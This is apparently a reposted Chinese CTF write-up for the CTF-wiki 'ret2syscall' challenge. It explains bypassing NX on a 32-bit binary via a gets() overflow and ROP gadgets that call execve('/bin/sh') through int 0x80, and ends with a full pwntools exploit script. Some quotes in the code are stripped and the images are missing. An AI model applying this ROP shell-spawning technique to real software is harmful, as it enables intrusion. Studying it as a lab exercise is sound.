首页 > 其他 > 详细

[WP]CTFwiki-syscall

时间:2019-11-17 20:18:28      阅读:111      评论:0      收藏:0      [点我收藏+]

1.例行运行并检查程序,32位程序,开启了 NX 保护,这时我们之前写入 shellcode 执行就会失效

技术分享图片

 

2.依然是通过 gets() 来覆盖返回值,当然尽管找到了 /bin/sh 字符串,我们并没有 system("/bin/sh") 来开启shell,这时我们需要调用系统中的函数,(ps:一个系统函数会有一个对应的系统调用号,这个我们可以在 Linux Syscall Reference 查询到)。

技术分享图片

 

技术分享图片

 

 

 

3.这里我们调用 execve() 来实现开启 shell。向 EAX 传入0x0b,EBX 中传入"/bin/sh", ECX 和 EDX 传入  0。

 技术分享图片

 

4.确定覆盖长度

技术分享图片

 

技术分享图片

 

 

5.寻找 gadget 来向寄存器传参,以此来构造 exp。当然 gadget 的利用并不唯一,能达到效果即可

技术分享图片

 

 

技术分享图片

 

 技术分享图片

 

技术分享图片

 

 

6.这里我选用了如下几个 gadget

0x080bb196 : pop eax ; ret
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret

7.构造 EXP

 

#!/usr/bin/env python 
from pwn import *

p = process(./rop)
#EBP: 0xffffd178 --> 0x8049630 (<__libc_csu_fini>:    push   ebx)
#ESP: 0xffffd0f0 --> 0xffffd10c --> 0x3
bin_sh = 0x080BE408
call_gets = 0x08048E96
pop_eax = 0x080bb196
pop_ecx_ebx = 0x0806eb91
pop_edx = 0x0806eb6a
int_0x80 = 0x08049421
payload = a* (0x6c+4)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(pop_ecx_ebx)
payload += p32(0)
payload += p32(bin_sh)
payload += p32(pop_edx)
payload += p32(0)
payload += p32(int_0x80)
p.recvuntil(?)
p.sendline(payload)
p.interactive()

 

技术分享图片

 

 

 

 

 

 

[WP]CTFwiki-syscall

原文:https://www.cnblogs.com/Tsuiyields/p/11877530.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!